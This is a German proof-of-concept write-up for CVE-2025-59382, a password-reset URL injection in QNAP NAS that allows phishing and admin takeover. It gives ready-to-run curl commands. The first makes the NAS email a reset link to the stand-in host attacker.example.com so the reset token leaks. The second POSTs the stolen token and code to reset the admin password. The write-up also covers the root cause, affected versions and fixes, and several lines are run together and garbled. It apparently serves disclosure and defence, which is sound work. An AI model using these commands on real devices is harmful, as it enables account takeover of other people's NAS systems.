
Proof-of-Concept und technische Ausarbeitung zu CVE-2025-59382, einer nicht authentifizierten Passwort-Reset-URL-Injection im QNAP NAS, die eine Phishing-zu-Kontoübernahme-Kette ermöglicht.
Nicht authentifizierte, vom Angreifer kontrollierte URL zum Zurücksetzen des Passworts in /cgi-bin/reset_password.cgi.
Getestet gegen QuTScloud c5.2.4.3041 Build 20250211 in einem Labor. QNAP veröffentlichte dies später als CVE-2025-59382 in der Sicherheitsmeldung QSA-26-10.
Ein nicht authentifizierter Angreifer mit lokalem Netzwerkzugriff oder Zugriff auf eine freigelegte NAS-Verwaltungsoberfläche kann eine beliebige URL in die offizielle QNAP-Passwort-Reset-E-Mail einschleusen, indem er den Parameter url der Funktion send_mail in /cgi-bin/reset_password.cgi manipuliert.
Das Opfer erhält eine echte QNAP-Passwort-Reset-E-Mail vom NAS. Die Angreifer-URL wird direkt in den HTML-E-Mail-Text eingebettet, und QNAP hängt das Reset-Token (rp) an diese URL an.
Dies verwandelt die Passwort-Reset-E-Mail in eine saubere Phishing-zu-Account-Übernahme-Kette:
rp-Reset-Tokenvc) auf der Phishing-Seite einErfordert Interaktion des Opfers, aber keine Authentifizierung des Angreifers.
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
Das NAS sendet die offizielle Reset-E-Mail und hängt das Reset-Token an die Angreifer-URL an, zum Beispiel:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
Der Bestätigungscode wird ebenfalls in derselben E-Mail angezeigt. In den Laborbeweisen sah es so aus:
Your verification code is: 2FEA2B8B
Die Phishing-Seite muss das Opfer also nur nach dem Bestätigungscode fragen. Das rp-Token landet bereits auf dem Server des Angreifers, wenn der Link geklickt wird.
Sobald der Angreifer das rp-Token und den zugehörigen Bestätigungscode vc hat, kann er das Admin-Passwort zurücksetzen:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
Der finale Reset-Aufruf muss ein POST sein. Der Bestätigungscode, den das Opfer auf der gefälschten Seite eingibt, wird als vc=<code> an QNAP gesendet.
Das neue Passwort ist base64-kodiert in new_pw. Im PoC reichte dies aus, um das Admin-Passwort zu ändern und sich dann als Admin anzumelden.
Der normale Frontend-Ablauf erstellt eine lokale NAS-URL wie:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
Aber das Backend vertraut dem vom Client gelieferten Parameter url, anstatt die Reset-URL selbst zu generieren. Es erstellt dann den E-Mail-Link mit diesem Wert und hängt an:
&u=<user>&rp=<reset_token>
Es vertraut einfach allem, was als url übergeben wird.
Die vertrauenswürdige NAS-E-Mail übernimmt die Zustellung.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MittelQNAP listet die betroffenen Produkte wie folgt auf:
5.2.7h5.2.8c5.2.82.7.1Korrigierte Versionen laut QNAP:
5.2.9.3499h5.2.9C5.2.92.8.0QNAP beschrieb das Problem als einen entfernten Angreifer, der die Passwort-Reset-URL modifiziert und ein Opfer dazu bringt, eine vom Angreifer kontrollierte Reset-Seite zu besuchen, was zum Diebstahl von Anmeldedaten führt.
Mein eigenes Laborziel war QuTScloud c5.2.4.3041 Build 20250211. Meine Laborauswirkung war Admin-Passwort-Reset und Admin-Login nach Interaktion des Opfers.
Kleine Anmerkung: Ich habe dies in meinem Labor am 2026-05-09 reproduziert und am 2026-05-11 an QNAP gesendet; sie markierten es als Duplikat von INTSI000-9029. Da QNAP nun das CVE/Advisory veröffentlicht hat, veröffentliche ich den POC. Dank an Tim Coen als den Ersten, der es gefunden hat.
Ich kenne den genauen Patch, den QNAP verwendet hat, nicht. Ihre Sicherheitsmeldung listet nur korrigierte Versionen.
Meine Vermutung für die richtige Korrektur ist einfach: Lassen Sie nicht zu, dass der Browser dem NAS mitteilt, wohin der Reset-Link zeigen soll.
Das NAS sollte diesen Link selbst erstellen. Wenn QNAP für den Ablauf noch einen url-Parameter benötigt, sollte es nur die normale NAS-Reset-Seite akzeptieren und alles Externe ablehnen.
Ich würde auch alles kodieren, was in den E-Mail-Text eingefügt wird, und eine Ratenbegrenzung für nicht authentifizierte Reset-E-Mail-Anfragen einrichten.
Haftungsausschluss: Dieser Exploit-Code wird zu Bildungs- und Abwehrforschungszwecken veröffentlicht. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch.
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online